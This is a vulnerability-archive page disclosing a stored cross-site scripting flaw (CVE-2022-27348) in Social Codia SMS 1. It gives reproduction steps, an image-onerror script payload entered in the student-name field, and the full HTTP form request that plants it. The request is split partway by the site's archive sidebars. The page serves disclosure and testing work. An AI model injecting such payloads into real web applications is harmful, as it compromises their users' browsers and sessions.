Social Codia SMS 1 Cross Site Scripting

Authored by D4rkP0w4r | Site raw.githubusercontent.com

Posted Apr 8, 2022

Social Codia SMS version 1 suffers from a cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2022-27348
SHA-256 | e05b17e593ab4c857f5b6185f364f61b567e526ea2a0dfddb73e41013d5fbd68 Download | Favorite | View

Related Files

Share This

Like 0 Tweet LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# sms-Add_Student-Stored_XSS-POC
# Author: D4rkP0w4r

Description => Stored_XSS at Add Student

# Step to Reproduct
* Login to admin -> Students -> Add Student -> input payload <img/src/onerror=prompt(10)> at Enter Name

# Exploit
* Input payload at Enter Name -> clicked Add Students -> access All Student -> The XSS will trigger
* Log out admin and typed roll number -> The XSS will trigger

# Vulnerable Code
* When inserting into the database, the input is not filtered out bad characters

# POC
* Injection Point

------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="name"

<img/src/onerror=prompt(10)>

* Request

POST /sms/admin/addstudent.php HTTP/1.1
Host: localhost:8080
Content-Length: 992
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAvKt9LM2RnnkuA0K
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/99.0.4844.51 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8080/sms/admin/addstudent.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=p440fhd7svqid5f063i3epg29k
Connection: close

------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="image"; filename="car.png"
Content-Type: application/octet-stream


------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="rollno"

1234567
------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="name"

<img/src/onerror=prompt(10)>
------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="contact"

123456
------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="standerd"

1
------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="city"
```


File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat 186 files
Ubuntu 52 files
Gentoo 44 files
Debian 27 files
Apple 25 files
Google Security Research 14 files
malvuln 10 files
nu11secur1ty 6 files
mjurczyk 4 files
George Tsimpidas 3 files

File Tags

ActiveX (932)
Advisory (79,557)
Arbitrary (15,643)
BBS (2,859)
Bypass (1,615)
CGI (1,015)
Code Execution (6,913)
Conference (672)
Cracker (840)
CSRF (3,288)
DoS (22,541)
Encryption (2,349)
Exploit (50,293)
File Inclusion (4,162)
File Upload (946)
Firewall (821)
Info Disclosure (2,656)

File Archives

November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
December 2021
Older

Systems

AIX (426)
Apple (1,926)

```
Newyork
------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="email"

haha@gmail.com
------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="gender"

male
------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="submit"


------WebKitFormBoundaryAvKt9LM2RnnkuA0K--
```


Intrusion Detection (866)
Java (2,888)
JavaScript (817)
Kernel (6,255)
Local (14,173)
Magazine (586)
Overflow (12,390)
Perl (1,417)
PHP (5,087)
Proof of Concept (2,290)
Protocol (3,426)
Python (1,449)
Remote (30,009)
Root (3,496)
Ruby (594)
Scanner (1,631)
Security Tool (7,768)
Shell (3,098)
Shellcode (1,204)
Sniffer (885)
Spoof (2,165)
SQL Injection (16,089)
TCP (2,377)
Trojan (685)
UDP (875)
Virus (661)
Vulnerability (31,104)
Web (9,329)
Whitepaper (3,728)
x86 (946)
XSS (17,478)
Other

BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,620)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,118)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,339)
Slackware (941)
Solaris (1,607)
SUSE (1,444)
Ubuntu (8,147)
UNIX (9,150)
UnixWare (185)
Windows (6,504)
Other

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter
Subscribe to an RSS Feed